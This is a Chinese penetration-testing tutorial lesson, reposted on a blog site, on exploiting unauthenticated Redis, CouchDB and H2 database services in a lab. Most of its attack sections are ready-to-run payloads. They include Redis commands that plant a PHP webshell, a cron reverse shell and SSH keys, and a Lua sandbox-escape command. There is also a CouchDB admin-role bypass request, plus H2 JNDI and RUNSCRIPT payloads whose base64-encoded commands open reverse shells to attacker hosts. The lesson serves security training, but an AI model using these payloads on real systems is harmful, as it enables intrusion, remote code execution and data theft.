【第78课】数据库安全RedisCouchDBH2database未授权访问CVE漏洞

news2024/11/15 13:45:31

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

知识点

1、数据库-Redis-未授权RCE&CVE
2、数据库-Couchdb-未授权RCE&CVE
3、数据库-H2database-未授权RCE&CVE

章节点:
1、目标判断-端口扫描&组合判断&信息来源
2、安全问题-配置不当&CVE漏洞&弱口令爆破
3、复现对象-数据库&中间件&开发框架&应用协议

在这里插入图片描述
前置知识:
1、复现环境:Vulfocus(官方在线的无法使用,需要自己本地搭建)
官方手册:Document

本地搭建参考文章:
漏洞靶场搭建-Vulfocus_vulfocus靶场搭建 docker-CSDN博客

2、服务判断:
端口扫描:利用服务开启后目标端口开放判断
组合判断:利用搭建常见组合分析可能开放服务
信息来源:访问端口提示软件版本,应用信息等
强弱特征:如框架shiro强特征rememberMe,SpringBoot默认页面等

3、对象类别:
对服务进行类别划分,通过服务功能理解,如数据库有帐号密码就有爆破利用方法,也可以针对服务公开的CVE进行漏洞测试及服务常见的错误安全配置导致的未授权访问等。

4、利用方法:
主要集中在CVE漏洞,未授权访问,弱口令爆破等

一、演示案例-数据库应用-Redis-未授权访问&CVE漏洞

默认端口:6379

Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

Redis数据库可视化管理工具:
https://github.com/qishibo/AnotherRedisDesktopManager/

1、未授权访问:CNVD-2015-07557

在这里插入图片描述
在这里插入图片描述

一、写Webshell需得到Web路径

利用条件:Web目录权限可读写

config set dir /tmp            #设置WEB写入目录
config set dbfilename 1.php    #设置写入文件名
set test "<?php phpinfo();?>"  #设置写入文件代码
save                           #保存执行

注意:部分web目录可能会没读写权限
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
本地虚拟机环境测试
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、写定时任务反弹shell(需要等待1-2分钟才会反弹)

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.110.141/4789 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

在这里插入图片描述
攻击机:
nc -lvvp 5555
在这里插入图片描述
注意:
centos会忽略乱码去执行格式正确的任务计划
而ubuntu并不会忽略这些乱码,所以导致命令执行失败

三、写入Linux ssh-key公钥

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态并允许使用密钥登录

本地生成公钥和私钥
将公钥写入到目标的.ssh文件夹
本地私钥ssh 连接

攻击机

ssh-keygen -t rsa  //执行生成key命令

在这里插入图片描述

cd /root/.ssh/ //进入到这个目录下执行ls

id_rsa  #私钥
id_rsa.pub  #公钥

在这里插入图片描述

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt  //将生成的公钥保存到key.txt

cat key.txt | redis-cli -h 目标IP -x set xxx  //将保存的key.txt文件内容写入redis

在这里插入图片描述

redis链接工具

config set dir /root/.ssh/
config set dbfilename authorized_keys
save

在这里插入图片描述
自己的攻击机使用ssh去连接

cd /root/.ssh/
ssh -i id_rsa root@目标IP

在这里插入图片描述
也可以直接

ssh 目标地址

在这里插入图片描述

四、自动化项目

https://github.com/n0b0dyCN/redis-rogue-server

python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
输入r就是反弹shell,输入i就是直接返回一个shell给你执行命令

2、未授权访问-CNVD-2019-21763

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

https://github.com/vulhub/redis-rogue-getshell

python redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、未授权访问-沙箱绕过RCE-CVE-2022-0543

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
Poc:执行id命令

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

在这里插入图片描述

二、演示案例-数据库应用-Couchdb-未授权越权&CVE漏洞

默认端口:5984

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和
CVE-2017-12636披露利用。

1、Couchdb 垂直权限绕过(CVE-2017-12635)

在这里插入图片描述
在这里插入图片描述

一、先创建用户
PUT /_users/org.couchdb.user:xiaodi HTTP/1.1
Host: 47.94.236.117:44389
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
  "type": "user",
  "name": "xiaodi",
  "roles": ["_admin"],
  "roles": [],
  "password": "xiaodi"
}

在这里插入图片描述

二、登录用户验证
Get:/_utils/
xiaodi xiaodi

在这里插入图片描述

2、Couchdb 命令执行 (CVE-2017-12636)

在这里插入图片描述
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

1、下载exp.py
2、修改目标和反弹地址
3、Python3调用执行即可
在这里插入图片描述
在这里插入图片描述

三、演示案例-数据库应用-H2database–未授权访问&CVE漏洞

默认端口:20051

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。
在这里插入图片描述
在这里插入图片描述

1、H2database jndi注入

利用这个管理页面,我们可以进行 JNDI 注入攻击,进而在目标环境下执行任意命令。

工具地址:JNDI-Injection-Exploit

payload:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 攻击者IP

//反弹shell命令就行base64编码
/bin/sh -i >& /dev/tcp/192.168.100.1/6666 0>&1

编码后:

bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

在这里插入图片描述
攻击端监听就行:

nc -lvvp 6666

将生成出来的所提供的服务,输入到界面当中,进行连接
指定驱动类:

javax.naming.InitialContext

在这里插入图片描述
服务端可以观察到日志:
在这里插入图片描述
成功反弹shell
在这里插入图片描述

2、H2database RCE(CVE-2022-23221)

一、未授权进入
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

在这里插入图片描述
在这里插入图片描述

二、RCE执行反弹

攻击机上完成
创建数据库文件:h2database.sql

CREATE TABLE test (
     id INT NOT NULL
 );
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
启动提供SQL文件远程加载服务

python3 -m http.server 端口

在这里插入图片描述

三、目标填入Payload使其加载远程SQL
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://
搭建的IP:端口/h2database.sql';\

在这里插入图片描述
在这里插入图片描述
攻击机上监听

nc -lvvp xxxx

在这里插入图片描述

文章知识点与官方知识档案匹配,可进一步学习相关知识

MySQL入门技能树首页概览91874 人正在系统学习中

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2070657.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数学基础(七)

一、熵 熵代表物体内部的混乱程度。&#xff08;一件事发生的不确定性&#xff09; 熵应用到分类任务中 二、激活函数 Sigmoid函数&#xff1a; Tanh函数&#xff1a; Relu函数&#xff1a; 三、回归分析 回归分析是寻找存在相关关系的变量间的数学表达式&#xff0c;并进行…

Parallels Desktop 19 for Mac 安装虚拟机需要激活吗

Parallels Desktop 19 for Mac 乃是一款适配于 Mac 的虚拟化软件。它能让您在 Mac 计算机上同时运行多个操作系统。您可借此创建虚拟机&#xff0c;并于其中装设不同的操作系统&#xff0c;如 Windows、Linux 或 macOS。使用 Parallels Desktop 19 mac 版时&#xff0c;您可在 …

商业预付费电能管理解决方案

安科瑞徐赟杰 商业预付费电能管理解决方案 大型商业项目的能源消耗量高&#xff0c;一般为住宅的10-15倍&#xff0c;普通公共建筑的3-5倍。作为商业地产的物业管理层&#xff0c;希望他们的用电费用回收越快越好&#xff0c;更进一步的可能需要一个简单便捷的收集、并清楚显…

5步掌握Python Django结合K-means算法进行豆瓣书籍可视化分析

&#x1f393; 作者&#xff1a;计算机毕设小月哥 | 软件开发专家 &#x1f5a5;️ 简介&#xff1a;8年计算机软件程序开发经验。精通Java、Python、微信小程序、安卓、大数据、PHP、.NET|C#、Golang等技术栈。 &#x1f6e0;️ 专业服务 &#x1f6e0;️ 需求定制化开发源码提…

MAVEN 3.9.1安装

WIN系统MAVEN 3.9.1安装 1. 下载 下载官网地址&#xff1a;Index of /dist/maven/maven-3 (apache.org) 百度网盘&#xff1a; 通过网盘分享的文件&#xff1a;apache-maven-3.9.1-bin.zip 链接: https://pan.baidu.com/s/1VKmxrU5Hg6mbEUc43wjQUw 提取码: aua6 –来自百度网…

Linux云计算 |【第二阶段】SHELL-DAY1

主要内容&#xff1a; Shell概述&#xff0c;编写及执行脚本、Shell变量&#xff08;自定义变量、环境变量、预定义变量、位置变量&#xff09;、数值运算&#xff08;expr工具、$[]、let、bc&#xff09; 一、Shell概述 Shell 是操作系统提供的一种命令行解释器&#xff0c;…

攻防世界-web题型-9星难度汇总-个人wp

TimeKeeper 2024/03/10 16:18 有两周没有打靶场了&#xff0c;这段时间在准备护网的面试&#xff0c;顺便挖了下edu也是挖到了一些漏洞。 言归正传&#xff0c;看看这道题目。进去是一个shop&#xff0c;先注册一个账号尝试注册admin发现操作失败&#xff0c;尝试登录admin …

Unity+Addressable

前期准备 下载一个hfs本地服务器&#xff0c;打开即可 HFS ~ HTTP 文件服务器 (rejetto.com) 1.安装Addressable插件 创建组 2.使用图片创建预制体 放入Addressable Groups内 3.右键 新建组 创建预制体t拖拽放入新建组里 新组命名为Gameobject 简化名称 4.创建一个测试脚本 …

Python和MATLAB梯度下降导图

&#x1f3af;要点 寻找局部最小值普通最小二乘法和随机梯度下降的动量线性回归媒体广告销售光学字符识别和最小化均方误差男女医疗费用最快速下降方向函数优化等高线图可视化共轭梯度下降可视化损失函数、动量、涅斯特洛夫动量、权衰减量化不确定性拓扑结构算法分类中权重归一…

西安电子高速PCB学习(四)

注意了&#xff0c;信号发生器的不同通路不能并联使用&#xff0c;示波器的信号通路不能并联电源使用&#xff0c;不同信号发生器不能并联使用&#xff1a; 严禁多个电容共用过孔&#xff1a; 多个电容并联时&#xff0c;小容量的电容应更靠近芯片电源引脚&#xff0c;主要原因…

【图像增强】使用 Albumentations Python 库(01)

目录 一、说明 二、Albumentations库 2.1 如何安装 2.2 测试代码示例 2.3 在albumentations库中实现的所有像素级变换 2.4 空间级转换 2.5 混合级别转换 三、让我们看看上述实现中的转换。 3.1 在专辑中实现的天气相关转换 3.2 随机雨 3.3 在相册中处理非 8 位图像 3.4 在文档…

如何优雅的实现CRUD,包含微信小程序,API,HTML的表单(一)

前言 在开发实际项目中&#xff0c;其实CRUD的代码量并不小&#xff0c;最近要做一个小程序项目&#xff0c;由于涉及表单的东西比较多&#xff0c;就萌生了一个想法&#xff0c;小程序的写法不是和VUE类似&#xff0c;就是数据绑定&#xff0c;模块么&#xff01;那就来一个动…

【vue3|第26期】Vue3 中的 useRoute 与 router.currentRoute.value:选择正确的路由访问方式

日期&#xff1a;2024年8月22日 作者&#xff1a;Commas 签名&#xff1a;(ง •_•)ง 积跬步以致千里,积小流以成江海…… 注释&#xff1a;如果您觉在这里插入代码片得有所帮助&#xff0c;帮忙点个赞&#xff0c;也可以关注我&#xff0c;我们一起成长&#xff1b;如果有不…

推荐4款2024年专业的电脑远程控制软件。

为了能够打破空间的限制&#xff0c;远程控制工具被越来越多的人使用。它们可以帮助提高工作效率&#xff0c;方便远程技术支持等。今天&#xff0c;就让我们一起来了解一下网上比较火的4款远程控制电脑的软件。 &#xff11;、向日葵 直达链接&#xff1a;https://down.oray.…

如何使用python脚本爬取微信公众号文章?

1、什么是爬虫&#xff1f; 在座的各位可能经常听到一个词&#xff0c;叫“爬虫”&#xff0c;这是一种能够悄无声息地将网站数据下载至本地设备的程序。利用爬虫&#xff0c;您无需亲自访问特定网站&#xff0c;逐个点击并手动下载所需数据。相反&#xff0c;爬虫能够全自动地…

FL Studio24苹果mac电脑破解绿色版安装包下载

FL Studio 24最新版本&#xff0c;这可不仅仅是一个音乐制作软件的升级&#xff0c;它是音乐创作爱好者的福音&#xff0c;是专业制作人的心头好。那么&#xff0c;它究竟有哪些魔力&#xff0c;能让这么多人为之疯狂呢&#xff1f; 我们来看看它的界面。FL Studio 24的界面设…

XGBoost中正则化的9个超参数

正则化是一种强大的技术,通过防止过拟合来提高模型性能。本文将探索各种XGBoost中的正则化方法及其优势。 为什么正则化在XGBoost中很重要? XGBoost是一种以其在各种机器学习任务中的效率和性能而闻名的强大算法。像任何其他复杂模型一样,它可能会过拟合,特别是在处理噪声数据…

x-cmd mod | x scoop - Windows 开源包管理工具

目录 介绍主要特点例子子命令 介绍 scoop 是 windows 的第三方包管理工具&#xff0c;与 winget, choco, chocolatey 类似。 本模块在 scoop 的基础上做了增强&#xff0c;使其可与 shell 无缝集成&#xff0c;并提供更多的功能。 主要特点 自动下载&#xff1a; 通过调用 S…

汇编语言:cmp、je、jne、jb、jnb、ja、jna 指令

一. cmp 指令 1. cmp 指令功能 cmp (compare) 是比较指令&#xff0c;cmp 的功能相当于减法指令&#xff0c;只是不保存结果&#xff0c;但会根据结果对标志寄存器进行设置&#xff0c;其它相关指令就可以通过识别这些被影响的标志寄存器的位来得知比较结果。 2. cmp指…

python爬虫:selenium+browsermobproxy实现浏览器请求抓取(模块安装详解)

前言 本来很多场景用beautiful和requests就能解决的&#xff0c;但是最近发现了某些网站会使用<link>来链接网页信息&#xff0c;让我没办法通过requests获取页面的具体内容&#xff1b;并且接口也加入了某种token的生成方案&#xff0c;导致我无从下手。 因此&#xff0…